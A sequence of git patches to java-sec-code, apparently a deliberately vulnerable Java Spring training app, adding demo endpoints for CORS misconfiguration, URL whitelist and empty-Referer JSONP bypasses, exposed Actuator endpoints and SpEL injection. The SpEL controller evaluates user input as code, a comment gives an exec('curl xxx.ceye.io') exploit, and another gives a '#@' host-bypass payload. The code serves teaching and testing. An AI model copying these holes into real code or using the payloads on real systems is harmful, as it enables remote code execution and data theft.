From 4cffffd87ebc2053ec84652e189f2932e0ea31be Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 25 Oct 2018 23:35:46 +0800 Subject: [PATCH 001/108] fix cors sec code --- README.md | 1 + src/main/java/org/joychou/controller/CORS.java | 13 +++++++++++-- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 42fb84dd..e0283efb 100644 --- a/README.md +++ b/README.md @@ -31,6 +31,7 @@ - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 65e703fd..abf7c958 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -26,7 +26,7 @@ public class CORS { * * @param request * @param response - * @desc: 当origin为空，即直接访问的情况下，response的header中不会出现Access-Control-Allow-Origin + * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS */ @RequestMapping("/vuls1") @ResponseBody @@ -61,7 +61,16 @@ private static String vuls3(HttpServletResponse response) { private static String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); Security sec = new Security(); - if (!sec.checkSafeUrl(origin, urlwhitelist)) { + Boolean origin_safe = false; + + // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求，这种直接放过，没有安全问题。 + if (origin == null) { + origin_safe = true; + }else if (sec.checkSafeUrl(origin, urlwhitelist)) { + origin_safe = true; + } + + if (!origin_safe) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", "*"); From 571e0c3650f76cd6c20c10ee3bf4aa6a31e4113f Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 26 Oct 2018 09:41:09 +0800 Subject: [PATCH 002/108] bug fix --- src/main/java/org/joychou/controller/CORS.java | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index abf7c958..4845715d 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -12,7 +12,7 @@ /** * @author: JoyChou * @date: 2018年10月24日 - * @desc: 只要Access-Control-Allow-Origin为*，或者可被绕过，就存在CORS跨域 + * @desc: https://github.com/JoyChou93/java-sec-code/wiki/CORS */ @Controller @@ -22,12 +22,6 @@ public class CORS { protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; - /** - * - * @param request - * @param response - * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS - */ @RequestMapping("/vuls1") @ResponseBody private static String vuls1(HttpServletRequest request, HttpServletResponse response) { From e35f30e2d56d1aa1fa2791dc044355088f539efd Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 31 Oct 2018 18:48:17 +0800 Subject: [PATCH 003/108] add url whitelist vul code --- .../java/org/joychou/controller/URLWhiteList.java | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index a63ae2cf..852fea6a 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -77,6 +77,18 @@ public String regex(HttpServletRequest request) throws Exception{ } + @RequestMapping("/indexof") + @ResponseBody + public String indexOf(HttpServletRequest request) throws Exception{ + String url = request.getParameter("url"); + // indexof返回-1，表示没有匹配到字符串 + if (-1 == url.indexOf(urlwhitelist)) { + return "URL is illegal"; + } else { + return "URL is legal"; + } + } + // 安全代码 @RequestMapping("/seccode") @ResponseBody From ea9ad0e536a4c1321ddfea1208f641817a983daa Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 22 Nov 2018 23:33:47 +0800 Subject: [PATCH 004/108] udpate cors --- java-sec-code.iml | 2 +- src/main/java/org/joychou/controller/CORS.java | 14 ++++---------- 2 files changed, 5 insertions(+), 11 deletions(-) diff --git a/java-sec-code.iml b/java-sec-code.iml index bb761497..94c60cf7 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -59,7 +59,7 @@ - + diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 4845715d..2b6dad34 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -30,7 +30,7 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); - // response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie + response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie return info; } @@ -55,16 +55,10 @@ private static String vuls3(HttpServletResponse response) { private static String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); Security sec = new Security(); - Boolean origin_safe = false; - // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求，这种直接放过，没有安全问题。 - if (origin == null) { - origin_safe = true; - }else if (sec.checkSafeUrl(origin, urlwhitelist)) { - origin_safe = true; - } - - if (!origin_safe) { + // 如果origin不为空并且origin不在白名单内，认定为不安全。 + // 如果origin为空，表示是同域过来的请求或者浏览器直接发起的请求。 + if ( origin != null && !sec.checkSafeUrl(origin, urlwhitelist) ) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", "*"); From 76da5768c7e5df486c3cd7dde972bd841266357e Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sun, 25 Nov 2018 20:12:01 +0800 Subject: [PATCH 005/108] update cors --- java-sec-code.iml | 2 +- pom.xml | 6 ------ src/main/java/org/joychou/controller/CORS.java | 11 ++++------- 3 files changed, 5 insertions(+), 14 deletions(-) diff --git a/java-sec-code.iml b/java-sec-code.iml index 94c60cf7..bb761497 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -59,7 +59,7 @@ - + diff --git a/pom.xml b/pom.xml index a12f8f37..0a4983b2 100644 --- a/pom.xml +++ b/pom.xml @@ -82,12 +82,6 @@ 21.0 - - com.google.guava - guava - 21.0 - - commons-collections commons-collections diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 2b6dad34..2974b64a 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -27,9 +27,7 @@ public class CORS { private static String vuls1(HttpServletRequest request, HttpServletResponse response) { // 获取Header中的Origin String origin = request.getHeader("origin"); - response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 - // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie return info; } @@ -37,9 +35,9 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp @RequestMapping("/vuls2") @ResponseBody private static String vuls2(HttpServletResponse response) { + // 不建议设置为* + // 后端设置Access-Control-Allow-Origin为*的情况下，跨域的时候前端如果设置withCredentials为true会异常 response.setHeader("Access-Control-Allow-Origin", "*"); - // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); - // response.setHeader("Access-Control-Allow-Credentials", "true"); return info; } @@ -61,9 +59,8 @@ private static String seccode(HttpServletRequest request, HttpServletResponse re if ( origin != null && !sec.checkSafeUrl(origin, urlwhitelist) ) { return "Origin is not safe."; } - response.setHeader("Access-Control-Allow-Origin", "*"); - // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); - // response.setHeader("Access-Control-Allow-Credentials", "true"); + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); return info; } From ca00956553404551c4c8a2c3ee238339b5688416 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sun, 25 Nov 2018 20:25:59 +0800 Subject: [PATCH 006/108] update readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index e0283efb..3e950f3f 100644 --- a/README.md +++ b/README.md @@ -32,6 +32,7 @@ - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) From 2f6c3cf62d35ca924f512ea30ffe751177f5d14c Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 17 Jan 2019 15:07:58 +0800 Subject: [PATCH 007/108] add spel, fixes #5 --- java-sec-code.iml | 9 +++++ .../java/org/joychou/controller/SPEL.java | 37 +++++++++++++++++++ src/main/resources/templates/upload.html | 2 +- 3 files changed, 47 insertions(+), 1 deletion(-) create mode 100644 src/main/java/org/joychou/controller/SPEL.java diff --git a/java-sec-code.iml b/java-sec-code.iml index bb761497..b1ff9d07 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -22,6 +22,15 @@ + + + + + + + + + diff --git a/src/main/java/org/joychou/controller/SPEL.java b/src/main/java/org/joychou/controller/SPEL.java new file mode 100644 index 00000000..481aed46 --- /dev/null +++ b/src/main/java/org/joychou/controller/SPEL.java @@ -0,0 +1,37 @@ +package org.joychou.controller; + +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import javax.servlet.http.HttpServletRequest; + +/* + * Author: JoyChou + * Date: 2019年01月17日 + * Desc: SPEL导致的RCE + * Usage: http://localhost:8080/spel/rce?expression=xxx(xxx为exp的URL编码后的值) + * Exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + */ + +@Controller +@RequestMapping("/spel") +public class SPEL { + + @RequestMapping("/rce") + @ResponseBody + private static String rce(HttpServletRequest request) { + String expression = request.getParameter("expression"); + ExpressionParser parser = new SpelExpressionParser(); + String result = parser.parseExpression(expression).getValue().toString(); + return result; + } + + public static void main(String[] args) { + ExpressionParser parser = new SpelExpressionParser(); + String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String result = parser.parseExpression(expression).getValue().toString(); + } +} + diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html index 309faa9c..10898e0b 100755 --- a/src/main/resources/templates/upload.html +++ b/src/main/resources/templates/upload.html @@ -4,7 +4,7 @@

file upload

-
+

From 56d5ba19b4ab2677dbed8c2c957659868bd1082f Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 17 Jan 2019 15:12:53 +0800 Subject: [PATCH 008/108] update readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 3e950f3f..7f3f10e2 100644 --- a/README.md +++ b/README.md @@ -23,6 +23,7 @@ - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) ## 漏洞说明 From 48e347c6241ad60378c0e2cc3fd92af0f36337b3 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 28 Jan 2019 20:51:16 +0800 Subject: [PATCH 009/108] add emptyReferer of jsonp --- README.md | 1 + .../java/org/joychou/controller/JSONP.java | 21 +++++++++++++++++++ 2 files changed, 22 insertions(+) diff --git a/README.md b/README.md index 7f3f10e2..13767e88 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,7 @@ - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java index 6913e903..67dda97e 100644 --- a/src/main/java/org/joychou/controller/JSONP.java +++ b/src/main/java/org/joychou/controller/JSONP.java @@ -30,6 +30,27 @@ private static String referer(HttpServletRequest request, HttpServletResponse re return callback + "(" + info + ")"; } + /** + * Desc: 直接访问不限制Referer，非直接访问限制Referer (开发同学喜欢这样进行JSONP测试) + * URL: http://localhost:8080/jsonp/emptyReferer?callback=test + */ + @RequestMapping("/emptyReferer") + @ResponseBody + private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { + String referer = request.getHeader("referer"); + response.setHeader("Access-Control-Allow-Origin", "*"); + if (null == referer) { + String callback = request.getParameter("callback"); + return callback + "(" + info + ")"; + } else { + Security sec = new Security(); + if (!sec.checkSafeUrl(referer, urlwhitelist)) { + return "Referer is not safe."; + } + String callback = request.getParameter("callback"); + return callback + "(" + info + ")"; + } + } // http://localhost:8080/jsonp/sec?callback=test @RequestMapping("/sec") From 674f2f125aa488983d36017272cbfa7912ec13a6 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 26 Feb 2019 16:50:33 +0800 Subject: [PATCH 010/108] =?UTF-8?q?=E9=80=82=E9=85=8D=E5=9C=A8IDEA?= =?UTF-8?q?=E4=B8=AD=E5=8F=B3=E9=94=AE=E7=9B=B4=E6=8E=A5=E8=BF=90=E8=A1=8C?= =?UTF-8?q?=E5=BA=94=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 7 +++ java-sec-code.iml | 5 +- pom-extra.xml | 132 ++++++++++++++++++++++++++++++++++++++++++++++ pom-idea.xml | 118 +++++++++++++++++++++++++++++++++++++++++ pom.xml | 14 ----- 5 files changed, 261 insertions(+), 15 deletions(-) create mode 100644 pom-extra.xml create mode 100644 pom-idea.xml diff --git a/README.md b/README.md index 13767e88..b23ce565 100644 --- a/README.md +++ b/README.md @@ -80,3 +80,10 @@ http://localhost:8080/rce/exec?cmd=whoami Viarus ``` +--- + +有人反馈不想额外下载Tomcat，想使用SpringBoot自带的Tomcat，所以额外添加了这个小功能。 +执行`cp pom-idea.xml pom.xml`后，最后在IDEA中右键`Run Application`。 + + + diff --git a/java-sec-code.iml b/java-sec-code.iml index b1ff9d07..76d1049c 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -43,6 +43,10 @@ + + + + @@ -56,7 +60,6 @@ - diff --git a/pom-extra.xml b/pom-extra.xml new file mode 100644 index 00000000..0a4983b2 --- /dev/null +++ b/pom-extra.xml @@ -0,0 +1,132 @@ + + + 4.0.0 + + sec + java-sec-code + 1.0.0 + war + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.1.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + + org.springframework.boot + spring-boot-starter-tomcat + + + + + + + org.apache.tomcat + tomcat-servlet-api + 8.0.36 + provided + + + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + mysql + mysql-connector-java + 8.0.12 + + + + + + com.alibaba + fastjson + 1.2.24 + + + + + + + org.jdom + jdom2 + 2.0.6 + + + + + org.dom4j + dom4j + 2.1.1 + + + + + + com.google.guava + guava + 21.0 + + + + commons-collections + commons-collections + 3.1 + + + + commons-lang + commons-lang + 2.4 + + + org.apache.httpcomponents + httpclient + 4.3.6 + + + org.apache.httpcomponents + fluent-hc + 4.3.6 + + + + + org.apache.logging.log4j + log4j-core + 2.8.2 + + + + com.squareup.okhttp + okhttp + 2.5.0 + + + + + org.apache.commons + commons-digester3 + 3.2 + + + + + + + + \ No newline at end of file diff --git a/pom-idea.xml b/pom-idea.xml new file mode 100644 index 00000000..8f44e785 --- /dev/null +++ b/pom-idea.xml @@ -0,0 +1,118 @@ + + + 4.0.0 + + sec + java-sec-code + 1.0.0 + war + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.1.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + mysql + mysql-connector-java + 8.0.12 + + + + + + com.alibaba + fastjson + 1.2.24 + + + + + + + org.jdom + jdom2 + 2.0.6 + + + + + org.dom4j + dom4j + 2.1.1 + + + + + + com.google.guava + guava + 21.0 + + + + commons-collections + commons-collections + 3.1 + + + + commons-lang + commons-lang + 2.4 + + + org.apache.httpcomponents + httpclient + 4.3.6 + + + org.apache.httpcomponents + fluent-hc + 4.3.6 + + + + + org.apache.logging.log4j + log4j-core + 2.8.2 + + + + com.squareup.okhttp + okhttp + 2.5.0 + + + + + org.apache.commons + commons-digester3 + 3.2 + + + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 0a4983b2..8f44e785 100644 --- a/pom.xml +++ b/pom.xml @@ -20,22 +20,8 @@ org.springframework.boot spring-boot-starter-web - - - - org.springframework.boot - spring-boot-starter-tomcat - - - - - org.apache.tomcat - tomcat-servlet-api - 8.0.36 - provided - From 453e1949f0c8a8e2e2b2f391040f1b2824869659 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 27 Feb 2019 10:18:17 +0800 Subject: [PATCH 011/108] add jar configure --- README.md | 25 ++++++++++++++++++++++--- pom-extra.xml | 9 ++++++++- pom-idea.xml | 9 ++++++++- pom.xml | 10 +++++++++- 4 files changed, 47 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index b23ce565..cabdc572 100644 --- a/README.md +++ b/README.md @@ -80,10 +80,29 @@ http://localhost:8080/rce/exec?cmd=whoami Viarus ``` ---- +--- -有人反馈不想额外下载Tomcat，想使用SpringBoot自带的Tomcat，所以额外添加了这个小功能。 -执行`cp pom-idea.xml pom.xml`后，最后在IDEA中右键`Run Application`。 +有人反馈不想额外下载Tomcat，想使用SpringBoot自带的Tomcat，所以额外说明。 +具体操作：执行`cp pom-idea.xml pom.xml`后，最后在IDEA中右键`Run Application`。 +### Jar包 + +有人反馈想直接打Jar包运行。具体操作： + +先修改pom.xml里的配置，将war改成jar + +``` + sec + java-sec-code + 1.0.0 + war +``` + +再打包运行即可。 + +``` +mvn clean package -DskipTests +java -jar 打包后的jar包路径 +``` diff --git a/pom-extra.xml b/pom-extra.xml index 0a4983b2..d91e6c0e 100644 --- a/pom-extra.xml +++ b/pom-extra.xml @@ -126,7 +126,14 @@ - + + + + org.springframework.boot + spring-boot-maven-plugin + + + \ No newline at end of file diff --git a/pom-idea.xml b/pom-idea.xml index 8f44e785..44a3b87d 100644 --- a/pom-idea.xml +++ b/pom-idea.xml @@ -112,7 +112,14 @@ - + + + + org.springframework.boot + spring-boot-maven-plugin + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 8f44e785..fd474f4f 100644 --- a/pom.xml +++ b/pom.xml @@ -112,7 +112,15 @@ - + + + + + org.springframework.boot + spring-boot-maven-plugin + + + \ No newline at end of file From d1963da5ad5396bf7b1cde36560c98fbe50935bf Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 4 Mar 2019 11:24:24 +0800 Subject: [PATCH 012/108] Actuators to RCE --- java-sec-code.iml | 74 ++++++++++++++++++++++ pom.xml | 31 +++++++++ src/main/java/org/joychou/Application.java | 2 + src/main/resources/application.properties | 3 + src/main/resources/logback.xml | 12 ++++ 5 files changed, 122 insertions(+) create mode 100644 src/main/resources/application.properties create mode 100644 src/main/resources/logback.xml diff --git a/java-sec-code.iml b/java-sec-code.iml index 76d1049c..44e9b58d 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -90,5 +90,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index fd474f4f..f7532932 100644 --- a/pom.xml +++ b/pom.xml @@ -110,8 +110,39 @@ 3.2 + + + org.jolokia + jolokia-core + 1.6.0 + + + + + org.springframework.boot + spring-boot-starter-actuator + + + + org.springframework.cloud + spring-cloud-starter-netflix-eureka-client + 1.4.0.RELEASE + + + + + + org.springframework.cloud + spring-cloud-dependencies + Camden.RELEASE + pom + import + + + + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 6a6fbc6e..3b05f723 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -4,9 +4,11 @@ import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.support.SpringBootServletInitializer; +import org.springframework.cloud.netflix.eureka.EnableEurekaClient; @SpringBootApplication +@EnableEurekaClient public class Application extends SpringBootServletInitializer { @Override diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties new file mode 100644 index 00000000..791531ed --- /dev/null +++ b/src/main/resources/application.properties @@ -0,0 +1,3 @@ + +# Spring Boot Actuator Vulnerable Config +management.security.enabled=false \ No newline at end of file diff --git a/src/main/resources/logback.xml b/src/main/resources/logback.xml new file mode 100644 index 00000000..4bda3a99 --- /dev/null +++ b/src/main/resources/logback.xml @@ -0,0 +1,12 @@ + + + true + + [%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n + + + + + + + \ No newline at end of file From af76c382c50d578508aa06f6f1f30b1de4cb219e Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 4 Mar 2019 11:26:45 +0800 Subject: [PATCH 013/108] update readme --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index cabdc572..e32e9b2e 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) ## 漏洞说明 @@ -35,6 +35,7 @@ - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) From 4c21c97e28b091a83c113591bceb84eaf5afb991 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 6 Mar 2019 15:13:26 +0800 Subject: [PATCH 014/108] bypass using URL class to getHost --- .../org/joychou/controller/URLWhiteList.java | 36 +++++++++++++++++-- src/main/java/org/joychou/utils/Security.java | 7 +++- src/main/resources/application.properties | 3 +- .../{logback.xml => logback-online.xml} | 0 4 files changed, 41 insertions(+), 5 deletions(-) rename src/main/resources/{logback.xml => logback-online.xml} (100%) diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 852fea6a..98bf1089 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -7,6 +7,7 @@ import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; +import java.net.URI; import java.net.URL; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -89,17 +90,21 @@ public String indexOf(HttpServletRequest request) throws Exception{ } } - // 安全代码 - @RequestMapping("/seccode") + // URL类getHost方法被绕过造成的安全问题 + // 绕过姿势：http://localhost:8080/url/seccode?url=http://www.taobao.com%23@joychou.com/, URL类getHost为joychou.com + // 直接访问http://www.taobao.com#@joychou.com/，浏览器请求的是www.taobao.com + @RequestMapping("/url") @ResponseBody - public String seccode(HttpServletRequest request) throws Exception{ + public String urlVul(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); + System.out.println("url: " + url); URL u = new URL(url); // 判断是否是http(s)协议 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { return "URL is not http or https"; } String host = u.getHost().toLowerCase(); + System.out.println("host: " + host); // 如果非顶级域名后缀会报错 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); @@ -111,4 +116,29 @@ public String seccode(HttpServletRequest request) throws Exception{ } + // 安全代码 + @RequestMapping("/seccode") + @ResponseBody + public String seccode(HttpServletRequest request) throws Exception{ + String url = request.getParameter("url"); + System.out.println("url: " + url); + URI uri = new URI(url); + URL u = new URL(url); + // 判断是否是http(s)协议 + if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { + return "URL is not http or https"; + } + // 使用uri获取host + String host = uri.getHost().toLowerCase(); + System.out.println("host: " + host); + + // 如果非顶级域名后缀会报错 + String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); + + if (rootDomain.equals(urlwhitelist)) { + return "URL is legal"; + } else { + return "URL is illegal"; + } + } } diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java index f17de34d..4ccd78c0 100644 --- a/src/main/java/org/joychou/utils/Security.java +++ b/src/main/java/org/joychou/utils/Security.java @@ -1,6 +1,8 @@ package org.joychou.utils; import com.google.common.net.InternetDomainName; + +import java.net.URI; import java.net.URL; public class Security { @@ -11,12 +13,15 @@ public class Security { public static Boolean checkSafeUrl(String url, String[] urlwhitelist){ try{ URL u = new URL(url); + URI uri = new URI(url); // 判断是否是http(s)协议 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { System.out.println("The protocol of url is not http or https."); return false; } - String host = u.getHost().toLowerCase(); + // 使用uri获取host + String host = uri.getHost().toLowerCase(); + // 如果非顶级域名后缀会报错 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 791531ed..cdb84e53 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,3 +1,4 @@ # Spring Boot Actuator Vulnerable Config -management.security.enabled=false \ No newline at end of file +management.security.enabled=false +logging.config=classpath:logback-online.xml \ No newline at end of file diff --git a/src/main/resources/logback.xml b/src/main/resources/logback-online.xml similarity index 100% rename from src/main/resources/logback.xml rename to src/main/resources/logback-online.xml From 3cd29c1426f97bcb0fd12194e53f9cece8564b66 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 6 Mar 2019 15:15:51 +0800 Subject: [PATCH 015/108] fix bug --- src/main/java/org/joychou/controller/URLWhiteList.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 98bf1089..fb67e013 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -91,9 +91,9 @@ public String indexOf(HttpServletRequest request) throws Exception{ } // URL类getHost方法被绕过造成的安全问题 - // 绕过姿势：http://localhost:8080/url/seccode?url=http://www.taobao.com%23@joychou.com/, URL类getHost为joychou.com + // 绕过姿势：http://localhost:8080/url/urlVul?url=http://www.taobao.com%23@joychou.com/, URL类getHost为joychou.com // 直接访问http://www.taobao.com#@joychou.com/，浏览器请求的是www.taobao.com - @RequestMapping("/url") + @RequestMapping("/urlVul") @ResponseBody public String urlVul(HttpServletRequest request) throws Exception{ String url = request.getParameter("url"); From d1b3d6b0cb08939b72f8249eda5f01366141bb2b Mon Sep 17 00:00:00 2001 From: JoyChou Date: Tue, 9 Apr 2019 17:58:14 +0800 Subject: [PATCH 016/108] update jsonp --- .../java/org/joychou/controller/JSONP.java | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java index 67dda97e..b50ea530 100644 --- a/src/main/java/org/joychou/controller/JSONP.java +++ b/src/main/java/org/joychou/controller/JSONP.java @@ -39,17 +39,16 @@ private static String referer(HttpServletRequest request, HttpServletResponse re private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { String referer = request.getHeader("referer"); response.setHeader("Access-Control-Allow-Origin", "*"); - if (null == referer) { - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } else { - Security sec = new Security(); - if (!sec.checkSafeUrl(referer, urlwhitelist)) { - return "Referer is not safe."; - } - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; + Security sec = new Security(); + + // 如果referer不为空，并且referer不在安全域名白名单内，return error + // 导致空referer就会绕过校验。开发同学为了方便测试，不太喜欢校验空Referer + if (null != referer && !sec.checkSafeUrl(referer, urlwhitelist)) { + return "error"; } + + String callback = request.getParameter("callback"); + return callback + "(" + info + ")"; } // http://localhost:8080/jsonp/sec?callback=test @@ -60,9 +59,11 @@ private static String sec(HttpServletRequest request, HttpServletResponse respon response.setHeader("Access-Control-Allow-Origin", "*"); String referer = request.getHeader("referer"); Security sec = new Security(); + if (!sec.checkSafeUrl(referer, urlwhitelist)) { - return "Referer is not safe."; + return "error"; } + String callback = request.getParameter("callback"); return callback + "(" + info + ")"; } From 5b60e1525667c58a51599ced4703a4607f377518 Mon 